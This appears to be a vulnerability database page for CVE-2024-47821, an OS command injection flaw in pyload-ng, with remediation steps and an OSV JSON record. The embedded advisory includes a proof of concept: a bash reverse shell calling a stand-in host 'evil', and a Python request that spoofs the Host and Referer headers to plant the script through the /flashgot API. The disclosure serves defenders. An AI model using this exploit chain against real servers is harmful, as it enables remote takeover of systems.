CVE-2024-47821: Pyload ng Remote Code Execution Vulnerability
HIGHCVE-2024-47821 is a HIGH (CVSS 9.1) remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Pyload ng libraries in the PyPI ecosystem. The issue involves pyload vulnerable to remote code execution by download to /.pyload/scripts using /flashgot api. Remediation is available by upgrading affected packages to version 0.5.0b3.dev87.
CVE-2024-47821 at a Glance
Security Impact
CVSS: 9.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2024-47821
To remediate this vulnerability, upgrade all affected Pyload ng dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install pyload-ng>=0.5.0b3.dev87
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show pyload-ng
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2024-47821, inspect your installed packages using pip:
pip show pyload-ng
Analyze the terminal output to locate any version of Pyload ng in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.5.0b3.dev87), your application is affected.
Note: The pip show pyload-ng command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Pyload ng, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-47821 Affected Pyload ng Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
pyload-ng
|
PyPI |
< 0.5.0b3.dev87
|
0.5.0b3.dev87
|
References
Frequently Asked Questions
What is CVE-2024-47821?
Which Pyload ng versions are affected?
What version fixes CVE-2024-47821?
Is pyload-ng affected?
What is the CVSS score of CVE-2024-47821?
What CWE is associated with CVE-2024-47821?
How can I check PyPI dependencies for CVE-2024-47821?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-w7hq-f2pj-c53g",
"modified" : "2026-06-08T19:05:57Z",
"published" : "2024-10-28T12:23:29Z",
"aliases" : [ "CVE-2024-47821" ],
"summary" : "pyLoad vulnerable to remote code execution by download to /.pyload/scripts using /flashgot API",
"details" : "### Summary\nThe folder `/.pyload/scripts` has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in `/scripts` path and using the `/flashgot` API to download the file.\n\n### Details\n\n**Configuration changes**\n1. Change the download folder to `/home/<user>/.pyload/scripts`\n2. Change permissions for downloaded files:\n 1. Change permissions of downloads: on\n 2. Permission mode for downloaded files: 0744\n\n**Making the request to download files**\n\nThe `flashgot` API provides functionality to download files from a provided URL. Although pyload tries to prevent non-local requests from being able to reach this API, it relies on checking the Host header and the Referer header of the incoming request. Both of these can be set by an attacker to arbitrary values, thereby bypassing these checks.\n\n*Referer header check*\n```\ndef flashgot():\n if flask.request.referrer not in (\n \"http://localhost:9666/flashgot\",\n \"http://127.0.0.1:9666/flashgot\",\n ):\n flask.abort(500)\n ...\n```\n*Host header check for local check*\n```\ndef local_check(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n remote_addr = flask.request.environ.get(\"REMOTE_ADDR\", \"0\")\n http_host = flask.request.environ.get(\"HTTP_HOST\", \"0\")\n\n if remote_addr in (\"127.0.0.1\", \"::ffff:127.0.0.1\", \"::1\", \"localhost\") or http_host in (\n \"127.0.0.1:9666\",\n \"[::1]:9666\",\n ):\n return func(*args, **kwargs)\n else:\n return \"Forbidden\", 403\n\n return wrapper\n```\n\nOnce the file is downloaded to a folder in the scripts folder, the attacker can perform the respective action, and the script will be executed\n\n\n### PoC\nCreate a malicious file. I have created a reverse shell\n```\n#!/bin/bash\nbash -i >& /dev/tcp/evil/9002 0>&1\n```\n\nHost this file at some URL, for eg: http://evil\n\nCreate a request like this for the `flashgot` API. I am using `download_finished` folder as the destination folder. Scripts in this folder are run when a download is completed.\n```\nimport requests\n\nurl = \"http://pyload/flashgot\"\nheaders = {\"host\": \"127.0.0.1:9666\", \"Referer\": \"http://127.0.0.1:9666/flashgot\"}\n\ndata = {\n \"package\": \"download_finished\", \n \"passwords\": \"optional_password\", \n \"urls\": \"http://evil/exp.sh\",\n \"autostart\": 1,\n}\n\n\nresponse = requests.post(url, data=data, headers=headers)\n```\nWhen the above request is made, exp.sh will be downloaded to `/scripts/download_finished folder`. For all subsequent downloads, this script will be run. Sending the request again causes a download of the file again, and when the download is complete, the script is run.\n\nI also have a listener on my machine which receives the request from the pyload server. When the script executes, I get a connection back to my machine\n\n### Screenshots\n*Download folder*\n\n<img width=\"672\" alt=\"1\" src=\"https://github.com/user-attachments/assets/77fc5202-bed2-41a2-98ae-9cb7b1315f76\">\n\n*`exp.sh` is downloaded*\n\n<img width=\"714\" alt=\"2\" src=\"https://github.com/user-attachments/assets/5e6e19db-2a5c-48f4-9973-817528b5b9ec\">\n\n*Script is run*\n\n<img width=\"714\" alt=\"3\" src=\"https://github.com/user-attachments/assets/34fbdaee-50ba-46a8-a372-ec8c91d03aa9\">\n\n*Reverse shell connection is received*\n\n<img width=\"314\" alt=\"4\" src=\"https://github.com/user-attachments/assets/4713d56e-e850-47ad-99b3-cab0c7bba800\">\n\n\n### Impact\nThis vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "pyload-ng"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.5.0b3.dev87"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-47821"
}, {
"type" : "WEB",
"url" : "https://github.com/pyload/pyload/commit/48f59567393a19263c8a0285256a7537dc9ce109"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pyload/pyload"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-302.yaml"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-78" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2024-10-28T12:23:29Z",
"nvd_published_at" : "2024-10-25T23:15:02Z"
}
}